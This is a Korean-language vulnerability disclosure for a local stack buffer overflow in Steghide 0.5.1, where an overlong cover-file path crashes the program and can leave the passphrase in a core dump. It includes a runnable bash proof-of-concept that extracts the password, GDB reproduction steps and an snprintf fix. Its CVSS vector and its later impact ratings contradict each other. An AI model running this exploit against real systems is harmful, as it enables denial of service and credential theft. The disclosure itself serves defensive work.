
Steghide 0.5.1의 스택 기반 버퍼 오버플로우에 대한 개념 증명(PoC)입니다. 긴 파일 경로가 크래시(DoS)를 유발하고 시스템 코어 덤프를 통해 민감한 데이터(비밀번호)를 유출하는 방법을 보여줍니다.
| 필드 | 값 |
|---|---|
| 대상 애플리케이션 | Steghide (리눅스 바이너리) |
| 영향받는 버전 | 0.5.1 (확인됨); 이전 버전도 영향을 받을 가능성이 높음 |
| 취약점 유형 | 스택 기반 버퍼 오버플로우 (CWE-121) |
| 영향 | 서비스 거부(DoS), 정보 노출 |
| 테스트 환경 | Kali Linux |
| 공개 날짜 | 2026년 1월 16일 |
| 작성자 | Erik Dervishi |
| 소프트웨어 링크 | https://salsa.debian.org/pkg-security-team/steghide |
| CVSS v3.1 점수 | 5.5 (중간) |
| CVSS 벡터 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
심각도 근거:
중간 심각도 점수는 신뢰할 수 있는 로컬 악용을 반영하며, 서비스 거부와 코어 덤프를 통한 민감한 자격 증명 노출로 이어집니다.
steghide 명령줄 유틸리티(버전 0.5.1)에서 스택 기반 버퍼 오버플로우 취약점이 확인되었습니다. 취약점은 -cf(커버 파일) 인자에 과도하게 긴 파일 경로를 전달할 때 트리거됩니다.
이 애플리케이션은 스택 스매싱 보호(SSP/Canary)로 컴파일되어 프로세스를 중단시킴으로써 즉각적인 임의 코드 실행(RCE)을 성공적으로 차단하지만, 이러한 방어 메커니즘은 2차 취약점인 정보 노출(Information Disclosure)을 발생시킵니다.
분석 결과, 충돌 시점에 -p 인자를 통해 전달된 패스프레이즈 같은 민감한 런타임 데이터가 프로세스 스택 메모리에 노출된 채로 남아 있는 것으로 확인되었습니다. 코어 덤프를 유지하도록 설정된 시스템(개발 환경, CI/CD 또는 잘못 구성된 프로덕션 서버에서 흔함)에서는 이 민감한 데이터가 평문으로 디스크에 기록되어 공격자가 자격 증명을 복구할 수 있습니다.
정보 노출을 위해 이 취약점을 성공적으로 악용하려면 다음 조건이 충족되어야 합니다.
로컬 액세스: 공격자는 시스템에 대한 로컬 액세스 권한이 있거나, steghide 바이너리에 인자를 전달할 수 있어야 합니다(예: 웹 셸 또는 래퍼 스크립트를 통해).
코어 덤프 활성화: 대상 환경이 코어 덤프를 생성하도록 구성되어 있어야 하며(예: ulimit -c unlimited 또는 fs.suid_dumpable=1), 해당 덤프가 공격자가 접근 가능한 위치에 기록되어야 합니다.
메모리 내 자격 증명: 피해자가 -p(패스프레이즈) 인자를 사용하여 명령을 실행해야 합니다.
취약점은 src/Embedder.cc에 존재합니다. 애플리케이션은 sprintf를 사용하여 고정 크기 버퍼로 포맷하기 전에 파일 이름 문자열의 길이를 경계 검사하지 않습니다.
취약한 코드 스니펫:
// src/Embedder.cc
char buf[200];
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
문자열의 결합된 길이가 200바이트를 초과하면 sprintf가 buf의 끝을 넘어 쓰기를 수행하여 스택을 손상시킵니다.
이 바이너리는 GCC의 스택 프로텍터로 컴파일됩니다.
__stack_chk_fail은 **abort()**를 즉시 호출하므로 프로세스 종료가 갑작스럽게 발생합니다. 최신 리눅스 시스템(예: systemd-coredump 사용)에서는 시스템이 덤프 생성을 강제하도록 명시적으로 구성되어 있지 않은 한, 이 빠른 종료로 인해 코어 덤프가 버려지거나 잘릴 수 있습니다.
다음 bash 스크립트는 물리적 코어 덤프를 강제하도록 환경을 구성하고 패스워드를 추출합니다.
사전 요구 사항: ulimit이 설정되어 있고 코어 패턴이 파일로 지정되어 있는지 확인하십시오(설정에는 root 권한이 필요하지만, 익스플로잇은 사용자 권한으로 실행됩니다).
# Setup (Run once as root/sudo to ensure visibility):
# echo "core" | sudo tee /proc/sys/kernel/core_pattern
파일: poc.sh
#!/bin/bash
# Steghide 0.5.1 PoC - Stack Overflow & Info Leak
# Usage: ./poc.sh
# 1. Enable core dumps for this session
ulimit -c unlimited
# 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer)
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. Generate valid WAV file (Required to bypass initial format checks)
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack('<I', 50000) + b'WAVEfmt ' + struct.pack('<I', 16)
header += struct.pack('<HHIIHH', 1, 1, 44100, 44100, 2, 16)
header += b'data' + struct.pack('<I', 49964)
f.write(header + b'\x00' * 49964)
"
# 4. Create dummy secret
echo "CONFIDENTIAL_DATA" > secret.txt
# 5. Trigger Crash
# The passphrase 'MY_SECRET_PASS' will be loaded into memory before the crash
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 6. Verify Leak
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
Pwndbg 확장 기능을 사용하여 GDB로 메모리 상태를 수동으로 확인합니다.
재현 절차:
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
pwndbg> run
pwndbg> search "MY_SECRET_PASS"
관찰된 출력:
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
결론: 민감한 문자열 MY_SECRET_PASS가 충돌 시점에 힙(Heap)과 스택(Stack) 메모리 세그먼트 모두에 남아 있어 정보 노출 벡터를 확인합니다.
기밀성(높음):
가용성(높음):
무결성(낮음):
// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);